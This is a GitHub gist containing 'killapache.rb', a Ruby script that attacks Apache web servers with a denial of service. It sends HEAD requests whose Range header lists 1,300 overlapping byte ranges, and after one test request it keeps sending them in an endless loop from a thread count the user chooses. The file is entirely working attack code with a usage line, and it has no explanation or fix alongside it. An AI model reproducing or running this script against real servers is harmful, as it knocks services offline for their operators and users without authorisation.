Skip to content

Instantly share code, notes, and snippets.

@tamoot
Created September 13, 2011 13:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tamoot/1213842 to your computer and use it in GitHub Desktop.
Save tamoot/1213842 to your computer and use it in GitHub Desktop.
$DEBUG = true
require "socket"
def simple_head_request_with_range(host, port, path, range)
socket = TCPSocket.new(host, port)
socket.puts <<EOS
HEAD #{path} HTTP/1.1
Host: #{host}
Range: #{range}
Connection: close
EOS
socket.read
end
if ARGV.size < 4
puts <<EOS
usage: ruby killapache.rb <host> <port> <path> <numthreads>
EOS
exit
end
host = ARGV[0]
port = ARGV[1]
path = ARGV[2]
numthreads = ARGV[3].to_i
if not numthreads > 0
puts <<EOS
error: <numthreads> must be greater than 0
EOS
exit
end
evil_range = "bytes=#{(1..1300).map{|i| "0-#{i}"}.join(",")}"
puts <<EOS
host=#{host}
port=#{port}
path=#{path}
numthreads=#{numthreads}
EOS
puts "==== test run ===="
puts simple_head_request_with_range(host, port, path, evil_range)
puts "==== real run ===="
loop do
sleep 0.01 while Thread.list.size > numthreads
Thread.new do
print ">"
STDOUT.flush
simple_head_request_with_range(host, port, path, evil_range)
print "<"
STDOUT.flush
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment